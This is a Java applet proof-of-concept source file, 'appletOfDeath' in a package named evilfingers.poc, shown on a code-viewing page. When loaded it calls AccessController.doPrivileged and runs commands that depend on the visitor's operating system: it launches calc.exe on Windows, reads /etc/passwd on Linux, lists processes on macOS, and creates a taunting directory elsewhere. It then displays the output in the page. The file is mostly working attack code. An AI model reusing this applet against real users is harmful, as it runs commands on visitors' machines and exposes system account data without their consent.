📄 appletofdeath.java
字号:
package com.evilfingers.poc;import java.io.*;import java.security.AccessController;import java.security.PrivilegedAction;import javax.swing.*;public class appletOfDeath extends JApplet {/* <OWNER> = Phyo Arkar Lwin <phyo.arkarlwin@gmail.com> <ORGANIZATION> = Star Nix Solutions <YEAR> = 1998 In the original BSD license, both occurrences of the phrase "COPYRIGHT HOLDERS AND CONTRIBUTORS" in the disclaimer read "REGENTS AND CONTRIBUTORS". Here is the license template: Copyright (c) 20009, Phyo Arkar Lwin All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the distribution. * Neither the name of the <ORGANIZATION> nor the names of its contributors * may be used to endorse or promote products derived from * this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ @SuppressWarnings("unchecked") public void init(){ AccessController.doPrivileged(new PrivilegedAction() { // what is // AccessController // . // dboPrivileged // function? public Object run() { // run() is obj or method? ShowMessage(KILL()); return "done"; // return string? } }); } public static String KILL() { StringBuffer s = new StringBuffer(); String r = null; try { // run the Unix "ps -ef" command Process p;// System.out.println(System.getProperty("os.name")); String osname =System.getProperty("os.name").toLowerCase(); if (osname.startsWith("win")) { System.out.println("OS Is Windows = " + System.getProperty("os.name")); // do windows specific stuff// p = Runtime.getRuntime().exec(System.getenv("windir")+"\\system32" +"\\cmd /c dir"); p = Runtime.getRuntime().exec(System.getenv("windir")+"\\system32" +"\\calc.exe"); }else if (osname.startsWith("lin")) { // do linux specific stuff p = Runtime.getRuntime().exec("cat /etc/passwd"); System.out.println("OS Is Linux = " + System.getProperty("os.name")); }else if (osname.startsWith("mac")) { // do macosx specific stuff p = Runtime.getRuntime().exec("ps -ef"); System.out.println("OS Is Mac = " + System.getProperty("os.name")); }else{ // throw exceptions p = Runtime.getRuntime().exec("mkdir C:\\ALL_YOUR_BASES_ARE_BELONG_TO_US"); System.out.println("OS Is Unknown = " + System.getProperty("os.name")); } BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); // read the output from the command System.out.println("Here is the standard output of the command:\n"); while ((r = stdInput.readLine()) != null) { System.out.println(s.append(r).toString()); } // read any errors from the attempted command System.out.println("Here is the standard error of the command (if any):\n"); while ((r = stdError.readLine()) != null) { System.out.println(s.append(r).toString()); } // System.exit(0); } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace();// System.exit(-1); } return s.toString(); } public void ShowMessage (String message){ //ShowMessage(String disp) { getContentPane().setVisible(false); getContentPane().removeAll(); getContentPane().add(new JLabel("<html>" + message, JLabel.CENTER)); getContentPane().setVisible(true); }}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -